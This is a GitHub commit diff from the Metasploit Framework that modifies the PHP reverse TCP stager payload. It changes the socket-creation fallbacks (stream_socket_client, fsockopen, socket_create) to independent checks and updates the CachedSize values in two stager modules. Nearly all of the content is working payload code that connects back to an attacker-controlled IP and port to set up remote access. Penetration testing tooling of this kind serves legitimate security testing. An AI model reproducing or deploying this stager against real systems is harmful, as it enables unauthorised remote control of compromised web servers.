File tree Expand file tree Collapse file tree 3 files changed +8
-5
lines changed
modules/payloads/stagers/php Expand file tree Collapse file tree 3 files changed +8
-5
lines changed Original file line number Diff line number Diff line change @@ -60,15 +60,18 @@ def generate_reverse_tcp(opts={})
60
60
if (($f = 'stream_socket_client') && is_callable($f)) {
61
61
$s = $f("tcp://{$ip}:{$port}");
62
62
$s_type = 'stream';
63
- } elseif (($f = 'fsockopen') && is_callable($f)) {
63
+ }
64
+ if (!$s && ($f = 'fsockopen') && is_callable($f)) {
64
65
$s = $f($ip, $port);
65
66
$s_type = 'stream';
66
- } elseif (($f = 'socket_create') && is_callable($f)) {
67
+ }
68
+ if (!$s && ($f = 'socket_create') && is_callable($f)) {
67
69
$s = $f(#{ ipf } , SOCK_STREAM, SOL_TCP);
68
70
$res = @socket_connect($s, $ip, $port);
69
71
if (!$res) { die(); }
70
72
$s_type = 'socket';
71
- } else {
73
+ }
74
+ if (!$s_type) {
72
75
die('no socket funcs');
73
76
}
74
77
if (!$s) { die('no socket'); }
Original file line number Diff line number Diff line change 8
8
9
9
module MetasploitModule
10
10
11
- CachedSize = 951
11
+ CachedSize = 966
12
12
13
13
include Msf ::Payload ::Stager
14
14
include Msf ::Payload ::Php ::ReverseTcp
Original file line number Diff line number Diff line change 8
8
9
9
module MetasploitModule
10
10
11
- CachedSize = 1125
11
+ CachedSize = 1140
12
12
13
13
include Msf ::Payload ::Stager
14
14
include Msf ::Payload ::Php ::ReverseTcp
You can’t perform that action at this time.
0 commit comments